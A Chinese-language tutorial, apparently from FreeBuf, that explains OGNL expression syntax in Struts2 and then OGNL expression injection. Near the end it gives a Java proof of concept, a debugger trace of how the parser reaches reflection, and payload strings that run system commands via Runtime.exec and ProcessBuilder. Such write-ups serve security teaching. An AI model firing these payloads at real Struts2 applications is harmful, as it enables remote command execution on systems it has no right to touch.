对象树的访问就是通过使用点号将对象的引用串联起来进行, 例如:

xxxx
xxxx.xxxx
xxxx.xxxx.xxxx

容器变量访问

对容器变量的访问, 是通过#加上表达式进行的, 例如:

#xxxx
#xxxx.xxxx
#xxxx.xxxx.xxxx.xxxx

操作符号

OGNL表达式中能使用的操作符基本跟Java里的操作符一样, 除了能使用+,-,*,/,++,--,==,!=,=等操作符外, 还能使用mod,in,not in等.

容器、数组、对象

OGNL支持对数组和ArrayList等容器的顺序访问, 例如:group.users[0]. 同时,OGNL支持对Map的按键值查找, 例如:#session['mySessionPropKey']. 不仅如此,OGNL还支持容器的构造的表达式, 例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map. 也可以通过任意类对象的构造函数进行对象新建, 例如:new Java.net.URL("xxxxxx/").

静态方法或变量的访问

要引用类的静态方法和字段, 它们的表达方式是一样的@class@member或者@class@method(args), 例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources.

方法调用

直接通过类似Java的方法调用方式进行, 甚至可以传递参数, 例如:user.getName(),group.users.size(),group.containsUser(#requestUser).

投影和选择

OGNL支持类似数据库中的投影(projection)和选择(selection).

投影就是选出集合中每个元素的相同属性组成新的集合, 类似于关系数据库的字段操作, 投影操作语法为collection.{XXX}, 其中XXX是这个集合中每个元素的公共属性, 例如:group.userList.{username}将获得某个group中的所有username的列表.

选择就是过滤满足selection条件的集合元素, 类似于关系数据库的纪录操作, 选择操作的语法为:collection.{X YYY}, 其中X是一个选择操作符, 后面则是选择用的逻辑表达式. 而选择操作符有三种:

  • ?选择满足条件的所有元素.

  • ^选择满足条件的第一个元素.

  • $选择满足条件的最后一个元素.

例如:group.userList.{? #txxx.xxx != null}将获得某个groupusername不为空的user的列表.

OGNL 语法树

OGNL语法树有两种形式, 每个括号对应语法树上的一个分支, 并且从最右边的叶子节点开始解析执行:

  • (expression)(constant) = value

  • (constant)((expression1)(expression2))

其它

. 符号

所有的OGNL表达式都基于当前对象的上下文来完成求值运算, 链的前面部分的结果将作为后面求值的上下文, 例如:

name.toCharArray()[0].numbericValue.toString()
  • 提取根(root)对象的name属性.

  • 调用上一步返回的结果字符串的toCharArray方法.

  • 提取返回结果数组的第一个字符.

  • 获取字符的numbericValue属性, 该字符是一个Character对象,Character类有个getNumeericValue方法.

  • 调用结果Integer对象的toString方法.

%, #, $ 的区别

# 符

#符主要有三种用途:

  • 访问非根对象属性, 即访问OGNL上下文和Action上下文, 由于Struts2中值栈被视为根对象, 所以访问其他非根对象时需要加#前缀,#相当于ActionContext.getContext();

  • 用于过滤和投影(projecting)集合, 例如:books.{? #this.price<100};

  • 用于构造Map, 例如#{'foo1':'bar1', 'foo2':'bar2'}.

% 符

%符的用途是在标志的属性为字符串类型时, 告诉执行环境%{}里的是OGNL表达式并计算表达式的值.

$ 符

$符的主要作用是在相关配置文件中引入OGNL表达式, 让其在配置文件中也能解析OGNL表达式.

., #, @ 的区别

获取静态函数和变量的时候用@.

获取非静态函数用.号.

获取非静态变量用#.

OGNL 与 EL 的区别

  1. OGNL表达式是Struts2的默认表达式语言, 所以只针对Struts2标签有效; 然而ELHTML中也可以使用.

  2. Struts2标签用的都是OGNL表达式语言, 所以它多数都是去值栈的栈顶找值, 找不到再去作用域; 相反,EL都是去Map集合作用域中找.

能解析 OGNL 的 API

能解析OGNLAPI如下表所示:

类名方法名
com.opensymphony.xwork2.util.TextParseUtiltranslateVariables, translateVariablesCollection
com.opensymphony.xwork2.util.TextParserevaluate
com.opensymphony.xwork2.util.OgnlTextParserevaluate
com.opensymphony.xwork2.ognl.OgnlUtilsetProperties, setProperty, setValue, getValue, callMethod, compile
org.apache.struts2.util.VelocityStrutsUtilevaluate
org.apache.struts2.util.StrutsUtilisTrue, findString, findValue, getText, translateVariables, makeSelectList
org.apache.struts2.views.jsp.ui.OgnlToolfindValue
com.opensymphony.xwork2.util.ValueStackfindString, findValue, setValue, setParameter
com.opensymphony.xwork2.ognl.OgnlValueStackfindString, findValue, setValue, setParameter, trySetValue
ognl.OgnlparseExpression, getValue, setValue

调用过程中可能会涉及到的一些类:

涉及类名方法名
com.opensymphony.xwork2.ognl.OgnlReflectionProvidergetGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValue
com.opensymphony.xwork2.util.reflection.ReflectionProvidergetGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValue

OGNL 表达式注入漏洞

漏洞原理

上文中讲到了OGNL可以访问静态方法、属性以及对象方法等, 其中包含可以执行恶意操作如命令执行的类java.lang.Runtime等, 当OGNL表达式外部可控时, 攻击者就可以构造恶意的OGNL表达式来让程序执行恶意操作, 这就是OGNL表达式注入漏洞.

POC

可以看到getValuesetValue都能成功解析恶意的OGNL表达式.

package h3rmek1t.javawebsecurity;

import ognl.Ognl;
import ognl.OgnlContext;

/**
 * @Author: H3rmesk1t
 * @Data: 2022/3/19 1:34 上午
 */
public class ognlExploit {

    public static void main(String[] args) throws Exception {

        // 创建一个 OGNL 上下文对象.
        OgnlContext ognlContext = new OgnlContext();

        // 触发 getValue.
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open -a Calculator')", ognlContext, ognlContext.getRoot());

        // 触发 setValue.
        Ognl.setValue(Runtime.getRuntime().exec("open -a Calculator"), ognlContext, ognlContext.getRoot());
    }
}

image

image

过程分析

Ognl.getValue处打下断点, 跟进Ognl#getValue方法, 会调用Ognl#parseExpression方法, 该方法将传入的String类型的字符串解析为OGNL表达式能理解的ASTChain类型.

image

接着将传入的ASTChain类型的tree参数转换成Node类型(ASTChain继承自SimpleNodeSimpleNode继承自Node), 再调用其getValue函数继续解析.

image

跟进SimpleNode#evaluateGetValueBody, 可以看到其会继续调用getValueBody方法.

image

接着跟进ASTMethod#getValueBody, 这里会循环解析ASTChain中每个节点的表达式, 这里有两个子节点, 首先会解析第一个节点即@java.lang.Runtime@getRuntime()这个OGNL表达式, 接着会调用OgnlRuntime#callMethod.

image

跟进OgnlRuntime#callMethod, 接着会调用ObjectMethodAccessor#callMethod, 获取到java.lang.Runtime类的getRuntime方法后, 会进一步调用OgnlRuntime#callAppropriateMethod方法进行解析.

image

image

跟进OgnlRuntime#callAppropriateMethod中, 这里通过调用invokeMethod函数来实现OGNL表达式中的类方法的调用.

image

跟进invokeMethod函数, 会调用Method.invoke, 即通过反射机制实现java.lang.Runtime.getRuntime方法的调用.

image

image

简单地说,OGNL表达式的getValue解析过程就是先将整个OGNL表达式按照语法树分为几个子节点树, 然后循环遍历解析各个子节点树上的OGNL表达式, 其中通过Method.invoke即反射的方式实现任意类方法调用, 将各个节点解析获取到的类方法通过ASTChain链的方式串连起来实现完整的表达式解析、得到完整的类方法调用.

Payload

// 获取 Context 里面的变量.
 #user
 #user.name

// 使用 Runtime 执行系统命令.
@java.lang.Runtime@getRuntime().exec("open -a Calculator")


// 使用 Processbuilder 执行系统命令.
(new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()

// 获取当前路径.
@java.lang.System@getProperty("user.dir")

参考

OGNL表达式注入漏洞总结

# web安全 # java漏洞 # CTF # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录